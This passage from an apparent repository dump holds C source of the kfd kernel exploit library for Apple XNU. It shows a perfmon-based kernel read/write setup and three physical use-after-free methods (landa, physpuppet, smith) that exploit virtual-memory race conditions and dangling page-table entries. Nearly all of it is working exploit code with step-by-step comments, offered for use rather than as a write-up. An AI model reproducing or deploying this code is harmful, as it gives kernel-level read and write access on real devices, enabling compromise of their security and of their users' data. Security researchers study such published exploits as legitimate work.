kfd->perf.dev.si_rdev_kaddr, &kfd->perf.dev.si_rdev_buffer, sizeof(kfd->perf.dev.si_rdev_buffer));\n\n    u64 cdevsw_kaddr = kfd_offset(kernelcache__cdevsw) + kernel_slide;\n    u64 perfmon_dev_open_kaddr = kfd_offset(kernelcache__perfmon_dev_open) + kernel_slide;\n    u64 cdevsw[14] = {};\n    u32 dev_new_major = 0;\n    for (u64 dmaj = 0; dmaj < 64; dmaj++) {\n        u64 kaddr = cdevsw_kaddr + (dmaj * sizeof(cdevsw));\n        kread((u64)(kfd), kaddr, &cdevsw, sizeof(cdevsw));\n        u64 d_open = unsign_kaddr(cdevsw[0]);\n        if (d_open == perfmon_dev_open_kaddr) {\n            dev_new_major = (dmaj << 24);\n            break;\n        }\n    }\n\n    u32 new_si_rdev_buffer[2] = {};\n    new_si_rdev_buffer[0] = dev_new_major;\n    new_si_rdev_buffer[1] = kfd->perf.dev.si_rdev_buffer[1] + 1;\n    kwrite((u64)(kfd), &new_si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(new_si_rdev_buffer));\n\n    /*\n     * Find ptov_table, gVirtBase, gPhysBase, gPhysSize, TTBR0 and TTBR1.\n     */\n    u64 ptov_table_kaddr = kfd_offset(kernelcache__ptov_table) + kernel_slide;\n    kread((u64)(kfd), ptov_table_kaddr, &kfd->perf.ptov_table, sizeof(kfd->perf.ptov_table));\n\n    u64 gVirtBase_kaddr = kfd_offset(kernelcache__gVirtBase) + kernel_slide;\n    kread((u64)(kfd), gVirtBase_kaddr, &kfd->perf.gVirtBase, sizeof(kfd->perf.gVirtBase));\n    print_x64(kfd->perf.gVirtBase);\n\n    u64 gPhysBase_kaddr = kfd_offset(kernelcache__gPhysBase) + kernel_slide;\n    kread((u64)(kfd), gPhysBase_kaddr, &kfd->perf.gPhysBase, sizeof(kfd->perf.gPhysBase));\n    print_x64(kfd->perf.gPhysBase);\n\n    u64 gPhysSize_kaddr = kfd_offset(kernelcache__gPhysSize) + kernel_slide;\n    kread((u64)(kfd), gPhysSize_kaddr, &kfd->perf.gPhysSize, sizeof(kfd->perf.gPhysSize));\n    print_x64(kfd->perf.gPhysSize);\n\n    assert(kfd->info.kaddr.current_pmap);\n    kfd->perf.ttbr[0].va = kget_u64(pmap__tte, kfd->info.kaddr.current_pmap);\n    kfd->perf.ttbr[0].pa = kget_u64(pmap__ttep, kfd->info.kaddr.current_pmap);\n    assert(phystokv(kfd, kfd->perf.ttbr[0].pa) == kfd->perf.ttbr[0].va);\n\n    assert(kfd->info.kaddr.kernel_pmap);\n    kfd->perf.ttbr[1].va = kget_u64(pmap__tte, kfd->info.kaddr.kernel_pmap);\n    kfd->perf.ttbr[1].pa = kget_u64(pmap__ttep, kfd->info.kaddr.kernel_pmap);\n    assert(phystokv(kfd, kfd->perf.ttbr[1].pa) == kfd->perf.ttbr[1].va);\n\n    /*\n     * Find the shared page in kernel space.\n     */\n    kfd->perf.shared_page.paddr = vtophys(kfd, kfd->perf.shared_page.uaddr);\n    kfd->perf.shared_page.kaddr = phystokv(kfd, kfd->perf.shared_page.paddr);\n\n    /*\n     * Set up the perfmon device use for the master kread and kwrite:\n     * - perfmon_devices[0][0].pmdv_config = kfd->perf.shared_page.kaddr\n     * - perfmon_devices[0][0].pmdv_allocated = true\n     */\n    struct perfmon_device perfmon_device = {};\n    u64 perfmon_device_kaddr = kfd_offset(kernelcache__perfmon_devices) + kernel_slide;\n    u8* perfmon_device_uaddr = (u8*)(&perfmon_device);\n    kread((u64)(kfd), perfmon_device_kaddr, &perfmon_device, sizeof(perfmon_device));\n\n    perfmon_device.pmdv_mutex[1] = (-1);\n    perfmon_device.pmdv_config = (struct perfmon_config*)(kfd->perf.shared_page.kaddr);\n    perfmon_device.pmdv_allocated = true;\n\n    kwrite((u64)(kfd), perfmon_device_uaddr + 12, perfmon_device_kaddr + 12, sizeof(u64));\n    ((volatile u32*)(perfmon_device_uaddr))[4] = 0;\n    kwrite((u64)(kfd), perfmon_device_uaddr + 16, perfmon_device_kaddr + 16, sizeof(u64));\n    ((volatile u32*)(perfmon_device_uaddr))[5] = 0;\n    kwrite((u64)(kfd), perfmon_device_uaddr + 20, perfmon_device_kaddr + 20, sizeof(u64));\n    kwrite((u64)(kfd), perfmon_device_uaddr + 24, perfmon_device_kaddr + 24, sizeof(u64));\n    kwrite((u64)(kfd), perfmon_device_uaddr + 28, perfmon_device_kaddr + 28, sizeof(u64));\n\n    kfd->perf.saved_kread = kfd->kread.krkw_method_ops.kread;\n    kfd->perf.saved_kwrite = kfd->kwrite.krkw_method_ops.kwrite;\n    kfd->kread.krkw_method_ops.kread = perf_kread;\n    kfd->kwrite.krkw_method_ops.kwrite = perf_kwrite;\n}\n\nvoid perf_free(struct kfd* kfd)\n{\n    kfd->kread.krkw_method_ops.kread = kfd->perf.saved_kread;\n    kfd->kwrite.krkw_method_ops.kwrite = kfd->perf.saved_kwrite;\n\n    /*\n     * Restore the \"/dev/perfmon_core\" descriptor back to the \"/dev/aes_0\" descriptor.\n     * Then, close it and deallocate the shared page.\n     * This leaves the first perfmon device \"pmdv_allocated\", which is fine.\n     */\n    kwrite((u64)(kfd), &kfd->perf.dev.si_rdev_buffer, kfd->perf.dev.si_rdev_kaddr, sizeof(kfd->perf.dev.si_rdev_buffer));\n    assert_bsd(close(kfd->perf.dev.fd));\n    assert_mach(vm_deallocate(mach_task_self(), kfd->perf.shared_page.uaddr, kfd->perf.shared_page.size));\n}\n\n/*\n * Helper perf functions.\n */\n\nu64 phystokv(struct kfd* kfd, u64 pa)\n{\n    const u64 PTOV_TABLE_SIZE = 8;\n    const u64 gVirtBase = kfd->perf.gVirtBase;\n    const u64 gPhysBase = kfd->perf.gPhysBase;\n    const u64 gPhysSize = kfd->perf.gPhysSize;\n    const struct ptov_table_entry* ptov_table = &kfd->perf.ptov_table[0];\n\n    for (u64 i = 0; (i < PTOV_TABLE_SIZE) && (ptov_table[i].len != 0); i++) {\n        if ((pa >= ptov_table[i].pa) && (pa < (ptov_table[i].pa + ptov_table[i].len))) {\n            return pa - ptov_table[i].pa + ptov_table[i].va;\n        }\n    }\n\n//    assert(!((pa < gPhysBase) || ((pa - gPhysBase) >= gPhysSize)));\n    return pa - gPhysBase + gVirtBase;\n}\n\nu64 vtophys(struct kfd* kfd, u64 va)\n{\n    const u64 ROOT_LEVEL = PMAP_TT_L1_LEVEL;\n    const u64 LEAF_LEVEL = PMAP_TT_L3_LEVEL;\n\n    u64 pa = 0;\n    u64 tt_kaddr = (va >> 63) ? kfd->perf.ttbr[1].va : kfd->perf.ttbr[0].va;\n\n    for (u64 cur_level = ROOT_LEVEL; cur_level <= LEAF_LEVEL; cur_level++) {\n        u64 offmask, shift, index_mask, valid_mask, type_mask, type_block;\n        switch (cur_level) {\n            case PMAP_TT_L0_LEVEL: {\n                offmask = ARM_16K_TT_L0_OFFMASK;\n                shift = ARM_16K_TT_L0_SHIFT;\n                index_mask = ARM_16K_TT_L0_INDEX_MASK;\n                valid_mask = ARM_TTE_VALID;\n                type_mask = ARM_TTE_TYPE_MASK;\n                type_block = ARM_TTE_TYPE_BLOCK;\n                break;\n            }\n            case PMAP_TT_L1_LEVEL: {\n                offmask = ARM_16K_TT_L1_OFFMASK;\n                shift = ARM_16K_TT_L1_SHIFT;\n                index_mask = ARM_16K_TT_L1_INDEX_MASK;\n                valid_mask = ARM_TTE_VALID;\n                type_mask = ARM_TTE_TYPE_MASK;\n                type_block = ARM_TTE_TYPE_BLOCK;\n                break;\n            }\n            case PMAP_TT_L2_LEVEL: {\n                offmask = ARM_16K_TT_L2_OFFMASK;\n                shift = ARM_16K_TT_L2_SHIFT;\n                index_mask = ARM_16K_TT_L2_INDEX_MASK;\n                valid_mask = ARM_TTE_VALID;\n                type_mask = ARM_TTE_TYPE_MASK;\n                type_block = ARM_TTE_TYPE_BLOCK;\n                break;\n            }\n            case PMAP_TT_L3_LEVEL: {\n                offmask = ARM_16K_TT_L3_OFFMASK;\n                shift = ARM_16K_TT_L3_SHIFT;\n                index_mask = ARM_16K_TT_L3_INDEX_MASK;\n                valid_mask = ARM_PTE_TYPE_VALID;\n                type_mask = ARM_PTE_TYPE_MASK;\n                type_block = ARM_TTE_TYPE_L3BLOCK;\n                break;\n            }\n            default: {\n                assert_false(\"bad pmap tt level\");\n                return 0;\n            }\n        }\n\n        u64 tte_index = (va & index_mask) >> shift;\n        u64 tte_kaddr = tt_kaddr + (tte_index * sizeof(u64));\n        u64 tte = 0;\n        kread((u64)(kfd), tte_kaddr, &tte, sizeof(tte));\n\n        if ((tte & valid_mask) != valid_mask) {\n            return 0;\n        }\n\n        if ((tte & type_mask) == type_block) {\n            pa = ((tte & ARM_TTE_PA_MASK & ~offmask) | (va & offmask));\n            break;\n        }\n\n        tt_kaddr = phystokv(kfd, tte & ARM_TTE_TABLE_MASK);\n    }\n\n    return pa;\n}\n\n#endif /* perf_h */\n"
  },
  {
    "path": "usprebooter/libkfd/puaf/landa.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef landa_h\n#define landa_h\n\nconst u64 landa_vme1_size = pages(1);\nconst u64 landa_vme2_size = pages(1);\nconst u64 landa_vme4_size = pages(1);\n\n// Forward declarations for helper functions.\nvoid* landa_helper_spinner_pthread(void* arg);\n\nstruct landa_data {\n    atomic_bool main_thread_returned;\n    atomic_bool spinner_thread_started;\n    vm_address_t copy_src_address;\n    vm_address_t copy_dst_address;\n    vm_size_t copy_size;\n};\n\nvoid landa_init(struct kfd* kfd)\n{\n    kfd->puaf.puaf_method_data_size = sizeof(struct landa_data);\n    kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size);\n}\n\nvoid landa_run(struct kfd* kfd)\n{\n    struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data);\n\n    /*\n     * Note:\n     * - The size of [src/dst]_vme_3 must be equal to pages(X), i.e. the desired PUAF size.\n     * - The copy_size must be greater than msg_ool_size_small (32 KiB), therefore it is\n     *   sufficient for [src/dst]_vme_1 and [src/dst]_vme_2 to have a size of pages(1).\n     */\n    u64 landa_vme3_size = pages(kfd->puaf.number_of_puaf_pages);\n    vm_size_t copy_size = landa_vme1_size + landa_vme2_size + landa_vme3_size;\n    landa->copy_size = copy_size;\n\n    /*\n     * STEP 1A:\n     *\n     * Allocate the source VMEs and VMOs:\n     * - src_vme_1 has a size of pages(1) and owns the only reference to src_vmo_1.\n     * - src_vme_2 has a size of pages(1) and owns the only reference to src_vmo_2.\n     * - src_vme_3 has a size of pages(X) and owns the only reference to src_vmo_3.\n     */\n    vm_address_t src_address = 0;\n    vm_size_t src_size = copy_size;\n    assert_mach(vm_allocate(mach_task_self(), &src_address, src_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR));\n    landa->copy_src_address = src_address;\n\n    vm_address_t vme1_src_address = src_address;\n    vm_address_t vme2_src_address = vme1_src_address + landa_vme1_size;\n    vm_address_t vme3_src_address = vme2_src_address + landa_vme2_size;\n    assert_mach(vm_allocate(mach_task_self(), &vme1_src_address, landa_vme1_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));\n    assert_mach(vm_allocate(mach_task_self(), &vme2_src_address, landa_vme2_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));\n    assert_mach(vm_allocate(mach_task_self(), &vme3_src_address, landa_vme3_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));\n\n    memset((void*)(src_address), 'A', copy_size);\n\n    /*\n     * STEP 1B:\n     *\n     * Allocate the destination VMEs and VMOs:\n     * - dst_vme_1 has a size of pages(1) and owns the only reference to dst_vmo_1.\n     *   dst_vme_1->user_wired_count == MAX_WIRE_COUNT, because of the mlock() for-loop.\n     * - dst_vme_2 has a size of pages(1) and owns the only reference to dst_vmo_2.\n     *   dst_vme_2->is_shared == TRUE, because of the vm_remap() on itself.\n     *   dst_vme_2->user_wired_count == 1, because of mlock().\n     * - After the clip in vm_protect(), dst_vme_3 has a size of pages(X) and dst_vme_4 has a size of pages(1).\n     *   dst_vme_3 and dst_vme_4 each have a reference to dst_vmo_3.\n     */\n    vm_address_t dst_address = 0;\n    vm_size_t dst_size = copy_size + landa_vme4_size;\n    assert_mach(vm_allocate(mach_task_self(), &dst_address, dst_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR));\n    landa->copy_dst_address = dst_address;\n\n    vm_address_t vme1_dst_address = dst_address;\n    vm_address_t vme2_dst_address = vme1_dst_address + landa_vme1_size;\n    vm_address_t vme3_dst_address = vme2_dst_address + landa_vme2_size;\n    vm_address_t vme4_dst_address = vme3_dst_address + landa_vme3_size;\n    vm_prot_t cur_protection = VM_PROT_DEFAULT;\n    vm_prot_t max_protection = VM_PROT_ALL;\n    assert_mach(vm_allocate(mach_task_self(), &vme1_dst_address, landa_vme1_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));\n    assert_mach(vm_allocate(mach_task_self(), &vme2_dst_address, landa_vme2_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));\n    assert_mach(vm_remap(mach_task_self(), &vme2_dst_address, landa_vme2_size, 0, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,\n        mach_task_self(), vme2_dst_address, FALSE, &cur_protection, &max_protection, VM_INHERIT_DEFAULT));\n    assert_mach(vm_allocate(mach_task_self(), &vme3_dst_address, landa_vme3_size + landa_vme4_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_FLAGS_PURGABLE));\n    assert_mach(vm_protect(mach_task_self(), vme4_dst_address, landa_vme4_size, FALSE, VM_PROT_READ));\n\n    memset((void*)(dst_address), 'B', copy_size);\n\n    for (u64 i = 0; i < UINT16_MAX; i++) {\n        assert_bsd(mlock((void*)(vme1_dst_address), landa_vme1_size));\n    }\n\n    assert_bsd(mlock((void*)(vme2_dst_address), landa_vme2_size));\n\n    /*\n     * STEP 2:\n     *\n     * Trigger the race condition between vm_copy() in the main thread and mlock() in the spinner thread.\n     */\n    pthread_t spinner_thread = NULL;\n    assert_bsd(pthread_create(&spinner_thread, NULL, landa_helper_spinner_pthread, kfd));\n\n    while (!atomic_load(&landa->spinner_thread_started)) {\n        usleep(10);\n    }\n\n    assert_mach(vm_copy(mach_task_self(), src_address, copy_size, dst_address));\n    atomic_store(&landa->main_thread_returned, true);\n    assert_bsd(pthread_join(spinner_thread, NULL));\n\n    /*\n     * STEP 3:\n     *\n     * Deallocate dst_vme_4, which will in turn deallocate the last reference of dst_vmo_3.\n     * Therefore, dst_vmo_3 will be reaped and its pages put back on the free list.\n     * However, we now have a PUAF on up to X of those pages in the VA range of dst_vme_3.\n     */\n    assert_mach(vm_deallocate(mach_task_self(), vme4_dst_address, landa_vme4_size));\n\n    for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n        kfd->puaf.puaf_pages_uaddr[i] = vme3_dst_address + pages(i);\n    }\n}\n\nvoid landa_cleanup(struct kfd* kfd)\n{\n    struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data);\n    u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);\n    u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);\n\n    u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr);\n    u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr);\n\n    assert_mach(vm_deallocate(mach_task_self(), landa->copy_src_address, landa->copy_size));\n\n    vm_address_t address1 = landa->copy_dst_address;\n    vm_size_t size1 = min_puaf_page_uaddr - landa->copy_dst_address;\n    assert_mach(vm_deallocate(mach_task_self(), address1, size1));\n\n    vm_address_t address2 = max_puaf_page_uaddr + pages(1);\n    vm_size_t size2 = (landa->copy_dst_address + landa->copy_size) - address2;\n    assert_mach(vm_deallocate(mach_task_self(), address2, size2));\n\n    /*\n     * No middle block if the kread and kwrite pages are the same or back-to-back.\n     */\n    if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) {\n        vm_address_t address3 = min_puaf_page_uaddr + pages(1);\n        vm_size_t size3 = (max_puaf_page_uaddr - address3);\n        assert_mach(vm_deallocate(mach_task_self(), address3, size3));\n    }\n}\n\nvoid landa_free(struct kfd* kfd)\n{\n    u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);\n    u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);\n\n    assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1)));\n    if (kwrite_page_uaddr != kread_page_uaddr) {\n        assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1)));\n    }\n}\n\n/*\n * Helper landa functions.\n */\n\nvoid* landa_helper_spinner_pthread(void* arg)\n{\n    struct kfd* kfd = (struct kfd*)(arg);\n    struct landa_data* landa = (struct landa_data*)(kfd->puaf.puaf_method_data);\n\n    atomic_store(&landa->spinner_thread_started, true);\n\n    while (!atomic_load(&landa->main_thread_returned)) {\n        kern_return_t kret = mlock((void*)(landa->copy_dst_address), landa->copy_size);\n        assert((kret == KERN_SUCCESS) || ((kret == (-1)) && (errno == ENOMEM)));\n        if (kret == KERN_SUCCESS) {\n            break;\n        }\n    }\n\n    return NULL;\n}\n\n#endif /* landa_h */\n"
  },
  {
    "path": "usprebooter/libkfd/puaf/physpuppet.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef physpuppet_h\n#define physpuppet_h\n\nconst u64 physpuppet_vmne_size = pages(2) + 1;\nconst u64 physpuppet_vme_offset = pages(1);\nconst u64 physpuppet_vme_size = pages(2);\n\nvoid physpuppet_init(struct kfd* kfd)\n{\n    /*\n     * Nothing to do.\n     */\n    return;\n}\n\nvoid physpuppet_run(struct kfd* kfd)\n{\n    for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n        /*\n         * STEP 1:\n         *\n         * Create a vm_named_entry. It will be backed by a vm_object with a\n         * vo_size of 3 pages and an initial ref_count of 1.\n         */\n        mach_port_t named_entry = MACH_PORT_NULL;\n        assert_mach(mach_memory_object_memory_entry_64(mach_host_self(), true, physpuppet_vmne_size, VM_PROT_DEFAULT, MEMORY_OBJECT_NULL, &named_entry));\n\n        /*\n         * STEP 2:\n         *\n         * Map the vm_named_entry into our vm_map. This will create a\n         * vm_map_entry with a vme_start that is page-aligned, but a vme_end\n         * that is not (vme_end = vme_start + 1 page + 1 byte). The new\n         * vm_map_entry's vme_object is shared with the vm_named_entry, and\n         * therefore its ref_count goes up to 2. Finally, the new vm_map_entry's\n         * vme_offset is 1 page.\n         */\n        vm_address_t address = 0;\n        assert_mach(vm_map(mach_task_self(), &address, (-1), 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, named_entry, physpuppet_vme_offset, false, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT));\n\n        /*\n         * STEP 3:\n         *\n         * Fault in both pages covered by the vm_map_entry. This will populate\n         * the second and third vm_pages (by vmp_offset) of the vm_object. Most\n         * importantly, this will set the two L3 PTEs covered by that virtual\n         * address range with read and write permissions.\n         */\n        memset((void*)(address), 'A', physpuppet_vme_size);\n\n        /*\n         * STEP 4:\n         *\n         * Unmap that virtual address range. Crucially, when vm_map_delete()\n         * calls pmap_remove_options(), only the first L3 PTE gets cleared. The\n         * vm_map_entry is deallocated and therefore the vm_object's ref_count\n         * goes down to 1.\n         */\n        assert_mach(vm_deallocate(mach_task_self(), address, physpuppet_vme_size));\n\n        /*\n         * STEP 5:\n         *\n         * Destroy the vm_named_entry. The vm_object's ref_count drops to 0 and\n         * therefore is reaped. This will put all of its vm_pages on the free\n         * list without calling pmap_disconnect().\n         */\n        assert_mach(mach_port_deallocate(mach_task_self(), named_entry));\n        kfd->puaf.puaf_pages_uaddr[i] = address + physpuppet_vme_offset;\n\n        /*\n         * STEP 6:\n         *\n         * At this point, we have a dangling L3 PTE. However, there's a\n         * discrepancy between the vm_map and the pmap. If not fixed, it will\n         * cause a panic when the process exits. Therefore, we need to reinsert\n         * a vm_map_entry in that virtual address range. We also need to fault\n         * in the first page to populate the vm_object. Otherwise,\n         * vm_map_delete() won't call pmap_remove_options() on exit. But we\n         * don't fault in the second page to avoid overwriting our dangling PTE.\n         */\n        assert_mach(vm_allocate(mach_task_self(), &address, physpuppet_vme_size, VM_FLAGS_FIXED));\n        memset((void*)(address), 'A', physpuppet_vme_offset);\n    }\n}\n\nvoid physpuppet_cleanup(struct kfd* kfd)\n{\n    u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);\n    u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);\n\n    for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n        u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];\n        if ((puaf_page_uaddr == kread_page_uaddr) || (puaf_page_uaddr == kwrite_page_uaddr)) {\n            continue;\n        }\n\n        assert_mach(vm_deallocate(mach_task_self(), puaf_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size));\n    }\n}\n\nvoid physpuppet_free(struct kfd* kfd)\n{\n    u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);\n    u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);\n\n    assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size));\n    if (kwrite_page_uaddr != kread_page_uaddr) {\n        assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr - physpuppet_vme_offset, physpuppet_vme_size));\n    }\n}\n\n#endif /* physpuppet_h */\n"
  },
  {
    "path": "usprebooter/libkfd/puaf/smith.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef smith_h\n#define smith_h\n\n/*\n * This boolean parameter determines whether the vm_map_lock() is taken from\n * another thread before attempting to clean up the VM map in the main thread.\n */\nconst bool take_vm_map_lock = true;\n\n// Forward declarations for helper functions.\nvoid smith_helper_init(struct kfd* kfd);\nvoid* smith_helper_spinner_pthread(void* arg);\nvoid* smith_helper_cleanup_pthread(void* arg);\nvoid smith_helper_cleanup(struct kfd* kfd);\n\n/*\n * This structure is allocated once in smith_init() and contains all the data\n * needed/shared across multiple functions for the PUAF part of the exploit.\n */\nstruct smith_data {\n    atomic_bool main_thread_returned;\n    atomic_int started_spinner_pthreads;\n    struct {\n        vm_address_t address;\n        vm_size_t size;\n    } vme[5];\n    struct {\n        pthread_t pthread;\n        atomic_bool should_start;\n        atomic_bool did_start;\n        atomic_uintptr_t kaddr;\n        atomic_uintptr_t right;\n        atomic_uintptr_t max_address;\n    } cleanup_vme;\n};\n\n/*\n * This function is responsible for the following:\n * 1. Allocate the singleton \"smith_data\" structure. See the comment above the\n *    smith_data structure for more info.\n * 2. Call smith_helper_init() which is responsible to initialize everything\n *    needed for the PUAF part of the exploit. See the comment above\n *    smith_helper_init() for more info.\n */\nvoid smith_init(struct kfd* kfd)\n{\n    kfd->puaf.puaf_method_data_size = sizeof(struct smith_data);\n    kfd->puaf.puaf_method_data = malloc_bzero(kfd->puaf.puaf_method_data_size);\n\n    smith_helper_init(kfd);\n}\n\n/*\n * This function is responsible to run the bulk of the work, from triggering the\n * initial vulnerability to achieving a PUAF on an arbitrary number of pages.\n * It is described in detail in the write-up, with a figure illustrating the\n * relevant kernel state after each step.\n */\nvoid smith_run(struct kfd* kfd)\n{\n    struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);\n\n    /*\n     * STEP 1:\n     */\n    assert_mach(vm_allocate(mach_task_self(), &smith->vme[2].address, smith->vme[2].size, VM_FLAGS_FIXED));\n    assert_mach(vm_allocate(mach_task_self(), &smith->vme[1].address, smith->vme[1].size, VM_FLAGS_FIXED));\n    assert_mach(vm_allocate(mach_task_self(), &smith->vme[0].address, smith->vme[0].size, VM_FLAGS_FIXED));\n    assert_mach(vm_allocate(mach_task_self(), &smith->vme[3].address, smith->vme[3].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE));\n    assert_mach(vm_allocate(mach_task_self(), &smith->vme[4].address, smith->vme[4].size, VM_FLAGS_FIXED | VM_FLAGS_PURGABLE));\n\n    /*\n     * STEP 2:\n     *\n     * Note that vm_copy() in the main thread corresponds to substep 2A in the write-up\n     * and vm_protect() in the spawned threads corresponds to substep 2B.\n     */\n    const u64 number_of_spinner_pthreads = 4;\n    pthread_t spinner_pthreads[number_of_spinner_pthreads] = {};\n\n    for (u64 i = 0; i < number_of_spinner_pthreads; i++) {\n        assert_bsd(pthread_create(&spinner_pthreads[i], NULL, smith_helper_spinner_pthread, kfd));\n    }\n\n    while (atomic_load(&smith->started_spinner_pthreads) != number_of_spinner_pthreads) {\n        usleep(10);\n    }\n\n    assert(vm_copy(mach_task_self(), smith->vme[2].address, (0ull - smith->vme[2].address - 1), 0) == KERN_PROTECTION_FAILURE);\n    atomic_store(&smith->main_thread_returned, true);\n\n    for (u64 i = 0; i < number_of_spinner_pthreads; i++) {\n        /*\n         * I am not sure if joining the spinner threads here will cause the\n         * deallocation of their stack in the VM map. I have never ran into\n         * panics because of this, but it is something to keep in mind.\n         * Otherwise, if it becomes a problem, we can simply make those spinner\n         * threads sleep in a loop until the main thread sends them a signal\n         * that the cleanup is finished.\n         */\n        assert_bsd(pthread_join(spinner_pthreads[i], NULL));\n    }\n\n    /*\n     * STEP 3:\n     */\n    assert_mach(vm_copy(mach_task_self(), smith->vme[3].address, smith->vme[3].size, smith->vme[1].address));\n    memset((void*)(smith->vme[1].address), 'A', smith->vme[1].size);\n\n    /*\n     * STEP 4:\n     */\n    assert_mach(vm_protect(mach_task_self(), smith->vme[1].address, smith->vme[3].size, false, VM_PROT_DEFAULT));\n\n    /*\n     * STEP 5:\n     */\n    assert_mach(vm_copy(mach_task_self(), smith->vme[4].address, smith->vme[4].size, smith->vme[0].address));\n\n    for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n        kfd->puaf.puaf_pages_uaddr[i] = smith->vme[1].address + pages(i);\n    }\n}\n\n/*\n * This function is responsible for the following:\n * 1. Call smith_helper_cleanup() which is responsible to patch up the corrupted\n *    state of our VM map. Technically, this is the only thing that is required\n *    to get back to a safe state, which means there is no more risk of a kernel\n *    panic if the process exits or performs any VM operation.\n * 2. Deallocate the unused virtual memory that we allocated in step 1 of\n *    smith_run(). In other words, we call vm_deallocate() for the VA range\n *    covered by those 5 map entries (i.e. vme0 to vme4 in the write-up), except\n *    for the two pages used by the kread/kwrite primitive. This step is not\n *    required for \"panic-safety\".\n */\nvoid smith_cleanup(struct kfd* kfd)\n{\n    smith_helper_cleanup(kfd);\n\n    struct smith_data* smith = (struct smith_data*)(kfd->puaf.puaf_method_data);\n    u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);\n    u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);\n\n    u64 min_puaf_page_uaddr = min(kread_page_uaddr, kwrite_page_uaddr);\n    u64 max_puaf_page_uaddr = max(kread_page_uaddr, kwrite_page_uaddr);\n\n    vm_address_t address1 = smith->vme[0].address;\n    vm_size_t size1 = smith->vme[0].size + (min_puaf_page_uaddr - smith->vme[1].address);\n    assert_mach(vm_deallocate(mach_task_self(), address1, size1));\n\n    vm_address_t address2 = max_puaf_page_uaddr + pages(1);\n    vm_size_t size2 = (smith->vme[2].address - address2) + smith->vme[2].size + smith->vme[3].size + smith->vme[4].size;\n    assert_mach(vm_deallocate(mach_task_self(), address2, size2));\n\n    /*\n     * No middle block if the kread and kwrite pages are the same or back-to-back.\n     */\n    if ((max_puaf_page_uaddr - min_puaf_page_uaddr) > pages(1)) {\n        vm_address_t address3 = min_puaf_page_uaddr + pages(1);\n        vm_size_t size3 = (max_puaf_page_uaddr - address3);\n        assert_mach(vm_deallocate(mach_task_self(), address3, size3));\n    }\n}\n\n/*\n * This function is responsible to deallocate the virtual memory for the two\n * pages used by the kread/kwrite primitive, i.e. the two pages that we did not\n * deallocate during smith_cleanup(). Once again, this step is not required for\n * \"panic-safety\". It can be called either if the kread/kwrite primitives no\n * longer rely on kernel objects that are controlled through the PUAF primitive,\n * or if we want to completely tear down the exploit.\n */\nvoid smith_free(struct kfd* kfd)\n{\n    u64 kread_page_uaddr = trunc_page(kfd->kread.krkw_object_uaddr);\n    u64 kwrite_page_uaddr = trunc_page(kfd->kwrite.krkw_object_uaddr);\n\n    assert_mach(vm_deallocate(mach_task_self(), kread_page_uaddr, pages(1)));\n    if (kwrite_page_uaddr != kread_page_uaddr) {\n        assert_mach(vm_deallocate(mach_task_self(), kwrite_page_uaddr, pages(1)));\n    }\n}\n\n/*\n * This function is responsible for the following:\n * 1. If the constant \"target_hole_size\" is non-zero, it will allocate every\n *    hole in our VM map starting at its min_offset, until we find a hole at\n *    least as big as that value (e.g. 10k pages). The reason for that is that\n *    we will corrupt the hole list when we trigger the vulnerability in\n *    smith_run(), such that only the first hole is safe to allocate from. This\n *    is exactly what happens during a typical call to vm_allocate() with\n *    VM_FLAGS_ANYWHERE. That said, many other VM operations that modify our map\n *    entries or our hole list could cause a kernel panic. So, if it is possible\n *    at all, it is much safer to suspend all other threads running in the target\n *    process (e.g. WebContent). In that case, since we would control the only\n *    running threads during the critical section, we could guarantee that no\n *    unsafe VM operations will happen and 